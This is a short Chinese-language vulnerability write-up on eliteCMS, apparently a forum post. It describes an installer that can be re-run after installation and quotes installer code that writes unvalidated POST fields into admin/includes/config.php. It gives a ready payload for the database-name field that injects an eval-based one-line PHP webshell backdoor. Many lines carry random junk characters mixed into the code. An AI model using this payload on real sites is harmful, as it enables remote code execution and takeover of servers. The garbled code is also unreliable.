eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
! [* D( I1 A- Z
# C% a) E  u2 E% ^另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
# p8 a$ S$ z8 ]9 D8 m6 o
: X% F; k9 s: M. D1 h! z* ^7 ^/ s...
* I2 `4 l$ }% h- o7 {% Qelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
) G# u% v: u) ?    $write = "<?php\n";
    $write .= "/**\n";
, u, X8 v( l4 Y* p8 a    $write .= "*\n";
" R" A$ f8 R# B8 L1 ~# n* z    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
  I( p' W  D' _. Y( S: d" p    $write .= "\n";
5 r# L* O( i5 E% h    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
! T% x; V/ x/ i. A7 O    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
$ v+ \* X9 f" t1 i3 P+ @    $write .= "} \n";
( ]. {3 v# `1 @    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
1 z8 x( @; R$ W; V: Q/ ~, I    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
# U$ u8 H, T: |- S8 A+ A& S8 z1 D    $write .= "        \n";
  y/ x) }0 n/ ~! s7 |    $write .= "} \n";
) ?" G! P2 F% Y3 g( p5 B    $write .= "?>\n";
( Y# a# p9 x# o9 X1 ~1 d8 l( w
9 F3 H0 l" _: {6 O    $writer = fopen($file, 'w');
/ e* f# M0 X& H' g# D; d$ B+ `...

6 i7 [0 b; A. j在看代码：

# ]$ h/ s/ a1 I1 j$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
+ k, e/ L3 ^3 h  ]4 j4 R$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
3 }0 Y8 s+ Z& e, S% o0 [8 k9 l$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
2 b; e1 t+ X4 @如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

- M( O; L7 @$ g; e' R将导致一句话后门写入/admin/includes/config.php
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